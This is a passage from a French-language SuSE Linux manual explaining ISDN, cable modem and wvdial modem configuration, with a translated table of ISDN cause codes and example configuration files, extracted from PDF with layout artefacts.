20.00, vous pouvez précisez le coût maximal (en ``Deutsche Mark'') des appels téléphoniques quotidiens 5 . Cela vous protège contre les connexions non souhaitées. Mais ne vous fiez pas trop à cette fonction automatique ! ~ /etc/isdn/callerid.conf : Vous pouvez inscrire ici tous les numéros de téléphone connus. Dans le fichier /var/log/messages et par la commande isdnrep , vous pourrez voir les noms au lieu des numéros de téléphone. Voir l'exemple dans le fichier 6.2.2 page suivante. Votre numéro de téléphone est 4711 et celui de votre fournisseur d'accès est 4712 . ~ /etc/isdn/isdnlog.isdnctrl0.options : Vous pouvez entrer ici les options pour isdnlog mais ce n'est généra- lement pas nécessaire. 4 ____________________________________________________ N.d.l.T : Pour la France, COUNTRYCODE = 33 5 N.d.l.T : Remplacez CURRENCY par le prix d'une unité dans votre monnaie nationale (par exemple CURRENCY = 0.61 Franc ou (après le passage à l'EURO) CURRENCY = 0.09,EURO pour la France) * * 179 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | # /etc/isdn/callerid.conf * * | || * * || | [MSN] * * | | NUMBER = 4711 * * | | * * | | SI = 1 * * | | ALIAS = moi * * | | * * | | ZONE = 1 * * | | * * | | * * | | [MSN] * * | | NUMBER = 4712 * * | | * * | | SI = 1 * * | | ALIAS = Fournisseur d'accès * * | | ZONE = 1 * * | |_______________________________________________________________________________________________________* *________ | fichier 6.2.2: /etc/isdn/callerid.conf 8. Tapez les commandes terre: # init 1 terre: # init 2 afin de pouvoir, entre autre, relancer les services réseau. Vous pouvez réactiver ISDN avec YaST (ou réamorcer si vous préférez). 6.2.4 Tester le fonctionnement de votre connexion ISDN sur le serveur SuSE 6.2.5 Mise en place d'une connexion Internet par ISDN Configuration ISDN pour votre fournisseur d'accès Internet Sélection d'un protocole Pour les connexions ISDN il existe trois protocoles importants : ~ syncPPP ~ rawip-HDLC ~ X.75 pour la connexion à un terminal Les fournisseurs d'accès Internet utilisent généralement le protocole syncPPP avec lequel vous devriez par conséquent configurer votre système Linux. Conditions ~ Votre matériel ISDN a été configuré avec succès. ~ Le pilote ISDN est chargé. ~ Vous connaissez le MSN ou EAZ à utiliser. ~ Vous connaissez le protocole utilisé par votre fournisseur d'accès (syncPPP , rawip ). ~ Vous connaissez le numéro de téléphone d'accès. ~ Vous connaissez le nom d'utilisateur et le mot de passe. 180 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration__________________* *______________________ ~ Vous connaissez le serveur de noms de domaine de (DNS) de votre four- nisseur d'accès. Ce n'est que lorsque toutes ces conditions sont remplies que vous pouvez configurer avec succès votre accès Internet. L'exemple suivant se réfère à une connexion syncPPP . rawip est pratique- ment identique bien que plus simple. Voici maintenant la marche à suivre : 1. Lancez YaST et passez au menu `Administration du système', `Configurer le réseau', `Configuration de base réseau'. Il apparaît alors un masque tel que celui de la figure 6.3 Fig. 6.3: Configuration réseau avec YaST 2. Sélectionnez un numéro disponible, par exemple 1 . 3. Sélectionnez le périphérique `ISDN SyncPPP' en appuyant sur la touche ||__|F5. 4. Appuyez sur la touche |____|F6(`Adresse IP') et faites les entrées sui- vantes : ~ Adresse IP de votre machine (carte ISDN) : 192.168.0.99 ~ Cochez `Adresse IP dynamique' seulement dans le cas où une adresse est assignée ``dynamiquement'' par votre fournisseur d'accès (+ FAI) lors de chaque connexion. ~ Adresse IP de de la passerelle par défaut : 192.168.0.1 ~ Adresse IP de la machine distante PPP : 192.168.0.1 5. Quittez le masque en activant le bouton `Continuer'. 6. Appuyez sur la touche |F___|_4pour activer le périphérique réseau au cas où ce n'est pas déjà fait. 7. Avec la touche |____|F8(`ISDN'), vous pouvez entrer d'autres paramètres spécifiques à ISDN. Il vous sont présentés dans la figure 6.4 page suivante. Spécifiez pour cela les valeurs suivantes : * * 181 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Fig. 6.4: Configuration du réseau ISDN avec YaST ~ Votre numéro de téléphone (MSN) Votre MSN, par exemple 123456 ~ Numéros à appeler : 012345678 Précision : 012345678 est le numéro de la machine de votre fournis- seur d'accès. ________________________________________________________________________________________________________* *________|| | Vous devez éventuellement ajouter le préfixe 0 pour certains PABX. Gar- * * |||| | dez aussi présent à l'esprit que des numéros de téléphone comportant un * * ||| | * * ||| | espace sont considérés comme étant deux numéros de téléphone différents. * * ||| |_______________________________________________________________________________________________________* *________|||_ ~ Numéros autorisés à appeler : Nécessaire uniquement pour serveurs Dialin. ~ Seuls les numéros spécifiés sont autorisés : Placez ce drapeau afin de vous assurer que personne ne pourra se connecter à votre système sans autorisation. ~ Mode de numérotation : Avec auto , une connexion est établie automatiquement lorsque l'on tente d'accéder à des adresses qui ne sont accessibles qu'à travers l'interface ISDN. Avec l'option manual , la connexion doit être établie à la main en cas de besoin. Avec off , il n'est absolument pas possible d'établir des connexions par le biais de cette interface ISDN. ~ Idle-Time : Période d'inactivité pendant laquelle aucun paquet Internet n'est trans- mis par la ligne ISDN et après laquelle le raccrochage a lieu automati- quement. ~ Nom de connexion PPP : Spécifiez ici le nom d'utilisateur (compte) que vous avez chez votre fournisseur d'accès. ~ Mot de passe pour la connexion PPP : Spécifiez ici le mot de passe pour votre compte chez votre fournisseur d'accès. Le mot de 182 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration___________________* *_____________________ passe n'apparaît à l'écran que sous forme d'astérisques. Il est enregis- tré dans le fichier /etc/ppp/pap-secrets. Pour pouvez obtenir une aide supplémentaire en appuyant sur la touche ||__|_F1. 8. Activez le bouton `Démarrer'. Précision : Le réseau est configuré à titre d'essai. Vous pouvez voir dans la fenêtre si tout a bien fonctionné. Il ne devrait y avoir ici aucun problème. Si tout fonctionne : Activez le bouton `Mémoriser'. Précision : Les paramètres sont stockés de façon permanente (sous forme de variables dans les fichiers /etc/rc.config.d/i4l_*), et pourront ainsi être de nouveau activés après le prochain amorçage ou changement de niveau d'exécution. Après le démarrage d'essai, les paramètres sont conservés. En cas d'échec : Il est probable que les modules ISDN n'aient pas été chargés. Lisez les messages dans le fichier /var/log/messages. 9. Allez dans le menu de YaST `Configuration du serveur de noms' et répondez oui à la question. Spécifiez les numéros IP du serveur de noms (DNS) de votre fournisseur d'accès. Si vous ne connaissez pas ce numéro IP, vous devrez le demander à votre fournisseur d'accès. Vous pouvez aussi demander à quelqu'un qui a déjà un système Linux connecté à Internet de lancer la commande suivante dans une fenêtre de terminal (nous prenons ici T-Online comme exemple) : whois t-online.de Vous obtiendrez alors un affichage qui contient, entre autres, les lignes que vous voyez dans l'affichage 6.2.1. _______________________________________________________________________________________________________________________|| |||||||| domain: t-online.de | |||||||| | |||||||| descr: Deutsche Telekom AG, Telekom Online-Dienste | |||||||| descr: Generaldirektion, GK361 | |||||||| descr: Postfach 2000 | |||||||| | |||||||| descr: D-53105 Bonn | |||||||| descr: Germany | |||||||| | |||||||| admin-c: KHS252-RIPE | |||||||| tech-c: JS691-RIPE | |||||||| | |||||||| zone-c: FS340-RIPE | |||||||| nserver: dns00.btx.dtag.de | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 6.2.1: Affichage de whois t-online.de Dans la ligne nserver : vous voyez le serveur de noms de votre four- nisseur d'accès. Il ne vous manque plus que l'adresse IP. Pour l'obtenir, lancez la commande : host dns00.btx.dtag.de Vous recevrez une réponse telle que par exemple dans l'affichage 6.2.2 page suivante. Ceci (194.25.2.129 ) représente l'adresse IP du serveur de noms de T-Online. Si la connexion ne peut pas être établie : * * 183 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________ | dns00.btx.dtag.de has address 194.25.2.129 * * | ||______________________________________________________________________________________________________* *________ || affichage à l'écran 6.2.2: Affichage de host ~ Vérifiez si /var/log/messages contient des messages ``suspects''. Les messages d'état ISDN (par exemple E001f ) sont décrits au pa- ragraphe 6.2.6. ~ Essayez de vous connecter avec rawip . ~ Votre MSN/EAZ est~il correct ? ~ Est-il éventuellement nécessaire d'utiliser le préfixe 0 ? Vous trouverez d'autres informations dans la base de données support. Vous pouvez y accéder soit sous l'URL http://sdb.suse.de/sdb/ fr/html/ sur notre serveur WWW, soit par le biais de l'aide en ligne de SuSE que vous pourrez obtenir avec susehelp ou à partir du menu dans votre système SuSE Linux dès que vous aurez installé le paquetage susehilf, série doc ainsi que le paquetage sdb_en, série doc. 10. Si tout a bien fonctionné, retournez à YaST , activez le bouton `Mémori- ser' et quittez YaST . Numéro IP dynamique avec syncPPP Dans le cas d'adresses IP dynamiques, les adresses ``dummy'' provenant de votre secteur privé ne servent à rien d'autre qu'à tenir la place de celles qui seront attribuées dynamiquement lorsque la connexion sera établie. Informations complémentaires Vous trouverez des informations complémentaires sur la manière d'établir une connexion ISDN et de configurer votre sous-système ISDN dans : ~ le fichier /usr/doc/packages/i4l/README.SuSE ~ la base de données support : http://sdb.suse.de/sdb/fr/html/ ~ le paquetage i4ldoc (par exemple la FAQ ISDN-FAQ dans le fichier /usr/doc/packages/i4ldoc/i4l-faq) ~ /usr/doc/inetcfg (paquetage inetcfg) : par exemple : T-Online par ISDN 6.2.6 Messages ISDN Les messages dits ``de cause'' émis par le sous-système ISDN sont en anglais et ne sont malheureusement pas toujours faciles à comprendre. C'est pourquoi nous vous en donnons ici une traduction en français. Un message de cause (d'erreur) typique émis par HiSaX est composé de 2 lignes, la location et le cause code . Pour Euro-ISDN, il est constitué de 5 lignes, Exxyy . La source du message d'erreur (qui n'est pas explicitée ici) est indiquée par xx alors que la cause du message est indiquée par yy . HiSaX présente toujours cette sortie en mode hexadécimal. Certains messages ne 184 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration__________________* *______________________ sont pas dus à une erreur dans le sens propre du terme mais au comportement normal d'une communication téléphonique (``occupée'', ``communication ter- minée par raccrochage''). Voici quelques précisions sur les ``causes'' des messages, avec l'aimable autorisation de l'Institut pour Systèmes Électroniques et Technique de Trans- mission de l'Université de Dortmund : http://www-esv.e-technik. uni-dortmund.de. Notez que HiSaX affiche toujours ces valeurs en mode hexadécimal. ______________________________________________________________________________________________________________________ Cause# dez/hex Description Groupe 0/1 - Causes normales #1 01 Bien que le numéro appelé soit complet et puisse être interprété par le réseau, il n'est pas attribué actuelle- ment à un poste terminal. #2 02 Le réseau de transit spécifié n'est pas identifié par le central. Ceci peut se produire soit parce que le réseau de transit désiré n'existe pas, soit parce qu'il refuse le service demandé. #3 03 Il n'a pas été possible de parvenir jusqu'à l'abonné final, celui-ci étant probablement connecté à un autre réseau. #6 06 L'abonné appelé ne peut pas utiliser le canal requis. #7 07 L'appel a été refusé par l'abonné appelé, le canal re- quis étant déjà occupé (canal virtuel, X.31 ou X.25) #16 10 Cette cause indique que l'un des abonnés concernés a mis fin à la communication. #17 11 Le numéro est occupé et l'abonné appelé ne peut ni réagir à un autre appel ni le prendre en compte. #18 12 Le numéro appelé a été atteint mais il n'a pas été ré- pondu en temps voulu à la demande d'établissement de communication ``SETUP''. #19 13 Bien que l'appel ait été accepté par le poste terminal, il n'a pas été pris en compte par l'abonné. Ceci se produit par exemple lorsque le téléphone sonne dans un appartement vide. #21 15 L'appel a été explicitement refusé par l'abonné, en réaction par exemple à une tonalité d'appel. #22 16 Cette cause peut être émise comme option du central téléphonique de destination si le numéro de l'abonné appelé a été modifié. #26 1A L'appel n'a pas pu être signalé à l'abonné appelé. #27 1B L'interface de l'abonné appelé est actuellement hors fonction. ______________________________________________________________________________________________________________________ Tab. 6.1: Continuer à la page suivante... * * 185 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ #28 1C Le numéro appelé n'est pas valide ou ne peut pas être interprété par le réseau. #29 1D Un service complémentaire demandé avec l'établis- sement de la communication ne peut pas être mis à disposition par le réseau. #30 1E Il est signalé que le message STATUS (réponse à une demande d'état) a été émis suite à un message STATUS ENQUIRY (demande d'état). #31 1F Cette cause est générée si aucune des autres causes de la classe ``Normal'' n'est à l'origine de la rupture de la communication Groupe 2, ressources non disponibles #34 22 Au central téléphonique, tous les canaux B (transmis- sion de la voix) ou tous les canaux virtuels (X.25) sont occupés. #38 26 Le réseau de commutation n'est pas en fonction et ne sera pas actif pour un certain temps. #41 29 Au central téléphonique, il existe un dérangement temporaire auquel il sera bientôt remédié. Il vaut donc la peine de répéter la tentative d'établissement de communication. #42 2A Au central téléphonique qui émet cette cause, il n'existe pas, pour le moment, de canal disponible en raison d'une surchage. #43 2B Les informations d'accès transmises par l'abonné appelant comme par exemple mots de passe dans l'élément UTU (information utilisateur), des don- nées LLC ou HLC ne peuvent pas être transmises à l'abonné appelé. #44 2C Le canal désiré ne peut pas être mis à disposition par l'interface à l'autre bout de la connexion. #47 2F Cette cause est générée en cas de non disponibilité d'une ressource ne pouvant pas être définie par les causes du groupe ``Ressource non disponible''. Groupe 3, Service ou option non disponible #49 31 La norme de qualité (débit, délai) définie par la re- commandation X.213 ne peut pas être respectée. #50 32 L'utilisateur a demandé un service auquel il n'a pas droit car il n'est pas enregistré comme usager de ce service. _______________________________________________________________________________________________________* *_________ Tab. 6.1: Continuer à la page suivante... 186 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration_______________________* *_________________ ______________________________________________________________________________________________________________________ #57 39 L'utilisateur n'a pas droit, sur le support, au service demandé. #58 3A Le service de transmission demandé n'est pas dispo- nible actuellement. #59 3B Indique une option ou un service non disponible qui n'est pas défini par les causes précédentes. Groupe 4, Service ou option non implémenté(e) #65 41 L'appareil émetteur n'est pas en mesure de mettre à disposition la fonction ``bearer capabiltiy'' requise. #66 42 Le type de canal demandé n'est pas disponible. #69 45 Le service demandé n'est pas implémenté. #70 46 L'utilisateur a demandé une transmission sans res- triction d'information digitale mais seule une trans- mission restreinte est admise. #79 4F Une option ou un service ne pouvant être défini par les causes précédentes n'est pas implémenté. Groupe 5, Message non valide, zone de para- mètres non admissible #81 51 Il a été reçu un message comportant une valeur de référence non valide actuellement. #82 52 Le canal demandé n'existe pas sur l'interface qui gé- nère cette cause. Ceci peut se produire par exemple avec CHI = 26 sur une interface PCM 24. #83 53 Il a été tenté de reprendre un appel suspendu avec une identité d'appel (angl. call ID) non valide. #84 54 Il a été tenté, lors de la suspension d'un appel, d'uti- liser une identité d'appel déjà en service dans la zone du contrôleur concerné. #85 55 Il a été tenté de reprendre un appel bien qu'aucun appel n'ait été suspendu. #86 56 L'appel ayant l'identité d'appel demandée a déjà été libéré. #88 58 L'interface de l'abonné final appelé n'est pas compa- tible avec les LLC, HLC ou autres attributs supplé- mentaires demandés. #91 5B Un réseau de transit a été demandé d'une manière non valide. ______________________________________________________________________________________________________________________ Tab. 6.1: Continuer à la page suivante... 187 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ #95 5F Cette cause est émise si aucune des autres causes ne s'applique à un message non valide. Groupe 6, erreur de protocole #96 60 Un élément obligatoire d'information est absent. #97 61 Un message de type inconnu ou non implémenté a été reçu par l'unité émettrice. #98 62 Il a été reçu soit un message incompatible avec l'état de l'appel, soit un message STATUS avec un état non valide. #99 63 Il a été reçu un élément d'information inconnu ou non implémenté. L'élément d'information peut être omis lors d'une nouvelle tentative afin d'accéder à la fonction demandée. #100 64 Le contenu d'un élément d'information n'est pas va- lide et ne peut pas être utilisé par l'appareil qui émet la cause. #101 65 Il a été reçu un message incompatible avec l'état ac- tuel de l'appel. #102 66 Une procédure de rétablissement d'un état stable a été démarrée après expiration de la temporisation. #111 6F Il s'est produit une erreur non spécifiée dans ce groupe. _______________________________________________________________________________________________________* *_________ Tab. 6.1: Causes de libération ISDN 6.3 Modem câble Dans quelques pays européens ainsi qu'aux USA et au Canada, l'accès In- ternet par télécâble est très répandu. Nous allons vous présenter, comme exemple, un guide qui explique pas à pas comment accéder à Internet avec le service télécâble autrichien. Ces instructions devraient aussi être valables pour d'autres cablôdistributeurs. 6.3.1 Informations de base L'abonné reçoit du cablôdistributeur un ``modem'' qui sera relié d'une part au câble télévision et d'autre part à une carte réseau au moyen d'un câble 10Base-T (paire torsadée). Ce modem représente pour l'ordinateur une ligne permanente avec, dans la majeure partie des cas, une adresse IP fixe. Marche à suivre pour l'installation 1. Si vous avez déjà configuré votre carte réseau, continuez en passant au point 8. 188 __________________________________________________________________________6.4.__T-DSL,_T-ISDN-DSL,_ADSL_:_:_:______________* *_______________________ 2. Lancez_YaST_ sous_le_compte `root' ~ si vous êtes sous KDE, appuyez sur |A____l|t+ |F___|2et tapez ensuite xterm . Démarrez YaST dans la nouvelle fenêtre. 3. Allez dans `Administration du système', `Intégrer le maté- riel dans le système', `Configurer la carte réseau'. 4. Dans `Type du réseau', spécifiez eth0 . 5. Dans `Type de la carte réseau', sélectionnez votre carte. 6. Dans `Options pour le chargement du module', spécifiez les pa- ramètres tels que port d'E/S etc. Voir le chapitre 14 page 367 au sujet des paramètres du noyau. Attention : Si vous possédez une carte PCI, vous n'aurez généralement pas besoin de spécifier de paramètres. 7. Passez à `Continuer'. Retournez au_menu_principal de YaST (en ap- puyant deux fois sur la touche |E_______c|hap. 8. Allez dans `Administration du système', `Configurer le ré- seau', `Configuration de base du réseau'. 9. Vous êtes maintenant dans la fenêtre `Sélection du réseau'. 10. Appuyez sur |F___|_5pour spécifier le périphérique ethernet . (s'il n'est pas déjà spécifié sous `Nom du périph.', par exemple eth0 ). 11. Appuyez sur |F___|_3et sélectionnez `DHCP'. 12. Appuyez sur |F___|_4pour activer ce périphérique. 13. Avec |F_____|10, la configuration est enregistrée. 14. Quittez YaST en appuyant plusieurs fois sur la touche |E________|chap. 15. Vous pouvez, en entrant rcdhclient start , activer votre accès ré- seau. Vous avez ensuite la possibilité de tester l'accès, par exemple avec ping www.suse.de . Ces instructions sont valables à partir de la version SuSE 6.4. Si vous utilisez encore SuSE 6.3, vous devez effectuer une opération supplémentaire. Posi- tionnez, avec YaST , la variable rc.config à yes (voir la marche à suivre au paragraphe 3.6.12 page 114). Le réseau sera alors activé à chaque démar- rage du système sans qu'il vous soit nécessaire d'exécuter explicitement une commande. Il existe une alternative ~ pour le cas où l'adresse IP, le masque réseau et la passerelle seraient connus et statiques ~ qui consiste à paramétrer une confi- guration fixe pour le réseau (voir chapitre 5.1 page 156). Renseignez-vous auprès de votre câblodistributeur pour savoir si votre adresse IP n'est pas sus- ceptible d'être modifiée à l'avenir. Avantage d'une configuration fixe : si, lors de l'amorçage, l'accès par câble se trouvait perturbé, le processus d'amor- çage suivra quand même son cours sans problème et vous pourrez avoir de nouveau accès à Internet dès qu'il aura été remédié à cette perturbation du réseau. 6.4 T-DSL, T-ISDN-DSL, ADSL : : : Pour l'accès Internet avec T-ISDN-DSL, ADSL etc., il existe déjà des solu- tions pour Linux. Celles-ci sont toutefois encore au stade du développement et pour cette raison nous n'offrons pas de support direct dans ce contexte. * * 189 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Vous trouverez cependant un article sur ce thème dans la base de données support. Cet article vous fournira des informations sur les plus récentes étapes du développement. Vous pouvez le lire sous http://sdb.suse.de/sdb/ de/html/hoe_adsl_pppoe.html. 6.5 Connexion par modem Le branchement d'un modem à la machine se fait exactement de la même manière que sous d'autres systèmes d'exploitation. Le modem est connecté à la machine par un câble série ou est intégré (s'il s'agit d'un modem ``inter- ne'') dans un slot libre de la machine. Sous YaST , on spécifie à quelle inter- face le modem est relié (voir paragraphe 3.6.1 page 100 et paragraphe 17.6 page 453). Un lien pointant du périphérique modem sur /dev/modem est créé. Il est donc possible d'accéder au modem, indépendamment du port sur lequel il est connecté, à travers /dev/modem ~ si le lien a été correctement placé. ________________________________________________________________________________________________________* *________|| | On trouve aussi dans le commerce ce que l'on appelle les ``WinModems''. * * |||| | Mais ils ne peuvent pas pour le moment être utilisés sous Linux. Voir à * * ||| | * * ||| | ce sujet http://sdb.suse.de/sdb/en/html/cep_winmodem.html et * * ||| | http://www.linmodems.org/, ainsi que le Modem-HOWTO.gz qui vous * * ||| | * * ||| | fournira des informations d'ordre général sur les modems * * ||| |_______________________________________________________________________________________________________* *________|||_ Les programmes d'émulation de terminal usuels sont par exemple minicom ou, sous le système X Window, seyon . Vous pouvez aussi faire les premiers tests directement avec wvdial (paragraphe 6.6). Minicom Minicom est un programme d'émulation de terminal simple à utiliser et sem- blable au programme DOS Telix . Tous ceux qui souhaitent utiliser minicom doivent être préalablement inscrits dans le fichier /etc/minicom.users. Il est déterminé ici qui peut accéder à quel modem et avec quelle configuration. On configure minicom en le lançant sous le compte `root' par la com- mande : terre:/ # minicom -s Les paramètres de fonctionnement n'ont pas besoin de faire l'objet d'une explication. ________________________________________________________________________________________________________* *________ | La combinaison de touches |C______|trl+ |L_ |ne fonctionne ni sous xterm ni sous * * ||| | ______ _ * * ||| | rxvt . Elle fonctionne par contre sous kvt et dans la console texte. * * ||| |_______________________________________________________________________________________________________* *________|||_ 6.6 Accès Internet par modem : PPP avec wvdial Le programme wvdial est un outil très puissant qui permet d'établir des connexions PPP avec les fournisseurs d'accès Internet que nous appellerons dans la suite de ce chapitre + FAI (angl. ISP ~ Internet Service Provider). 190 ______________________________________________________6.6.__Accès_Internet_par_modem_:_PPP_avec_wvdial______________________* *______________________ Comme les FAI utilisent souvent des configurations différentes dans le proto- cole PPP, il est parfois difficile de retrouver les options adéquates. Cette tâche est assumée par wvdial qui se sert d'algorithmes intelligents. Autrefois, il était toujours nécessaire, pour la configuration Internet, de spéci- fier aussi le serveur de noms de domaine (angl. DNS ~ Domain Name Server) du FAI. Ceci est devenu superflu avec wvdial qui reconnaît automatiquement le serveur de noms du FAI dans la mesure où ce dernier communique cette information. 6.6.1 Configuration de wvdial Vous pouvez aisément configurer wvdial à partir de YaST . Vous trouverez le menu sous `Administration du système', `Configurer le ré- seau'. La figure 6.5 vous montre ce menu. Fig. 6.5: wvdial: Réglage des paramètres Procédez de la manière suivante : ~ Assurez-vous que vous avez déjà configuré votre modem dans YaST . Cela a déjà dû se faire au cours de la première installation mais vous pouvez aussi le faire maintenant (ainsi que nous l'avons évoqué au para- graphe 3.6.1 page 100). ~ Sélectionnez l'option du menu `Configurez votre FAI'. ~ Spécifiez le numéro de téléphone, l'identifiant utilisateur et le mot de passe (figure 6.6 page suivante). Si la communication est établie via une installation téléphonique avec raccordements secondaires, ajoutez après le numéro d'identification du réseau (``connexion extérieure'', par exemple 0 ) une virgule ou un w : 0, ou 0w . * * 191 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Fig. 6.6: wvdial: Configurer le FAI ________________________________________________________________________________________________________* *________|| | Si vous travaillez sous le système X Window et si vous avez des difficultés * * |||| | ___ ___ * * ||| | à faire des entrées parce que les touches fléchées (|____|, |!___|) ou la touche * * ||| | | ____7| ! * * ||| | d'effacement arrière ( ____ ) ne réagissent pas comme vous le souhaitez, * * ||| | vous devriez tout d'abord quitter YaST , passer sur une console texte avec * * ||| | | ______| | ____ | | ___ | | ___| * * ||| | C______trl+ ____Alt+ ___F2- F___6, vous connecter en tant que `root' et relancer * * ||| | YaST . * * ||| |_______________________________________________________________________________________________________* *________|||_ ~ Choisissez la configuration automatique du serveur de noms. Dans le cas où cela ne fonctionnerait pas, vous devrez configurer le serveur de noms dans YaST de la manière habituelle (voir paragraphe 3.6.3 page 106). ~ Sélectionnez votre mode de numérotation. Ce sera le plus souvent la nu- mérotation par tonalités. ~ Si vous êtes relié à une installation téléphonique, sélectionnez l'option `Modem relié à une installation téléphonique'. Dans ce cas, on n'attend pas la tonalité. ~ Sous mode de numérotation, `PAP/CHAP' devrait en général fonctionner. ~ Quittez ce sous-menu. ~ Après la configuration du fournisseur d'accès, nous passons maintenant à la reconnaissance du modem. Sélectionnez simplement l'option `Détec- tion automatique du modem'. ~ Si tout a bien marché, sélectionnez l'option `Lancement de WvDial et connexion au FAI'. Vous verrez apparaître une fenêtre dans la- quelle divers messages vous seront présentés. ~ Si vous voyez un message qui vous fait savoir que le processus PPP a été lancé, vous pouvez déjà utiliser Internet. ~ Vérifiez éventuellement que la connexion a bien été établie._Ouvrez_en-__ suite une autre fenêtre de terminal (sous KDE : |____A|lt+ |___F|2et ensuite xterm ). Tapez dans la fenêtre de terminal : terre: # su 192 ______________________________________________________6.6.__Accès_Internet_par_modem_:_PPP_avec_wvdial______________________* *______________________ et entrez le mot de passe `root'. Tapez ensuite : terre: # tail -f /var/log/messages Vous pouvez maintenant suivre les messages du système. Dès que vous voyez des lignes avec "Local IP :" et "Remote IP :" ~ suivies cha- cune d'un numéro IP ~ vous pouvez avoir la certitude que votre connexion Internet est établie. ~ Terminez votre accès Internet avec |C______|_trl+ |c__|. ~ Si tout ceci a bien marché, vous pouvez démarrer votre accès Internet en invoquant simplement wvdial depuis la__ligne_ de _commande et vous pouvez mettre fin à votre connexion avec |C______|trl+ |c_ |. ~ Vous pourrez aussi plus tard modifier votre configuration sans YaST , avec le programme wvdial.lxdialog ou sous forme de programme gra- phique avec wvdial.tcl . Ceci n'est cependant possible que sous le compte `root'. Vous trouverez la documentation relative à wvdial dans le répertoire /usr/ doc/packages/wvdial. wvdial, les utilisateurs et la sécurité Si vous voulez que d'autres utilisateurs que `root' puissent établir des connexions PPP avec wvdial , vous devez, avec YaST , inscrire les utilisa- teurs concernés dans les groupes `uucp' et `dialout'. Voir le chapitre 3.6.8 page 112 qui vous indique la marche à suivre. Ces utilisateurs auront alors accès au fichier /etc/wvdial.conf qui contient normalement le login et le mot de passe pour l'accès Internet. Pour plus de sécurité, vous pouvez transférer le mot de passe dans un fichier protégé : 1. Passez dans le répertoire /etc/ppp et créez, en tant que `root', le fichier wvpw avec les droits 600 : terre: # cd /etc/ppp terre:/etc/ppp # touch wvpw terre:/etc/ppp # chmod 600 wvpw 2. Chargez le fichier wvpw dans l'éditeur et inscrivez uniquement le mot de passe. Stockez le fichier en mémoire. 3. Vérifiez si les droits du fichiers wvpw sont encore corrects. Avec terre:/etc/ppp # ls -l wvpw vous devriez pouvoir vous en assurer. Voir affichage 6.6.1. _______________________________________________________________________________________________________________________ |||||||| -rw------- 1 root root 7 Jan 18 17:20 wvpw | |||||||| | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 6.6.1: Affichage de ls -l wvpw 4. Recommencez votre configuration ainsi qu'il est décrit au chapitre 6.6.1 page 191. Vous devez cependant spécifier @/etc/ppp/wvpw (précédé de l'arobase) comme mot de passe. Ainsi, wvdial saura que le mot de passe doit provenir de ce fichier. * * 193 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Le modem émet toujours des bips sonores Si le haut-parleur de votre modem émet des sons trop forts pendant la connexion, vous pouvez éditer le fichier /etc/wvdial.conf et ajouter la ligne Init3 = ATM0 Cette commande met hors fonction le haut-parleur de votre modem. 6.6.2 Plusieurs fournisseurs d'accès avec wvdial wvdial est en mesure de gérer autant de jeux de paramètres que vous désirez. Pour obtenir ce résultat, vous pouvez ajouter à la section Dialer Default du fichier /etc/wvdial.conf des sections supplémentaires. Lors du lan- cement de wvdial avec le nom de l'une des sections supplémentaires, les paramètres seront d'abord lus à partir de ``Default''. Tous les paramètres qui sont spécifiés encore une fois dans la section supplémentaire écraseront les anciennes valeurs. Voici un petit exemple pour T-Online et Arcor. (fichier 6.6.1). Ici la configu- ration est réalisée par YaST . Il est ajouté manuellement au fichier les lignes contenues dans le fichier 6.6.2. ________________________________________________________________________________________________________* *________|||| | [Dialer Defaults] * * | | Modem = /dev/ttyS0 * * | | * * | | Init1 = ATZ * * | | Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 * * | | Init3 = ATM0 * * | | * * | | Compuserve = 0 * * | | Tonline = 1 * * | | * * | | Dial Command = ATX3DT * * | | Baud = 115200 * * | | * * | | Auto DNS = 1 * * | | Stupid Mode = 0 * * | | * * | | New PPPD = 1 * * | | * * | | * * | | Phone =0,0191011 * * | | Username = ???????? * * | | Password = ??????? * * | |_______________________________________________________________________________________________________* *________ | fichier 6.6.1: /etc/wvdial.conf : Standard-Abschnitt ________________________________________________________________________________________________________* *________ | [Dialer arcor] * * | | * * | | Phone = 010700192070 * * | | Username = arcor * * | | Password = internet * * | |_______________________________________________________________________________________________________* *________ | fichier 6.6.2: /etc/wvdial.conf : sectioZusatz-Abschnitt Si wvdial est invoqué sans paramètres, il sera établi une connexion avec T-Online alors que l'invocation de wvdial arcor établi une connexion avec Arcor. Lisez aussi à ce sujet la page de man de wvdial (man wvdial ). 194 ______________________________________________________6.6.__Accès_Internet_par_modem_:_PPP_avec_wvdial______________________* *______________________ 6.6.3 Adaptateurs de terminaux ISDN Ces périphériques permettent la connexion à ISDN. À la différence de ce qui se passe pour les cartes ISDN ordinaires, les machines et les adaptateurs de terminaux sont reliés par un câble série. Bien que les adaptateurs simulent en principe un modem analogique, ils présentent cependant quelques particula- rités : ~ Ils requièrent par exemple des commandes spéciales pour l'établissement d'une communication Point à Point et, ~ dans la configuration par défaut, ils émettent des messages CONNECT éten- dus. C'est pourquoi il convient d'adapter la configuration du modem : 1. Renoncez à la détection automatique du modem, exécutée normalement avec YaST au moyen des options `Administration du système' / `Configurer le réseau' / `Configurer le réseau PPP' / `Dé- tection automatique du modem'. 2. Déterminez le port de votre modem dans YaST avec le menu `Ad- ministration du système' / `Intégrer le matériel dans le système' / `Configurer le modem'. 3. Connectez-vous en tant 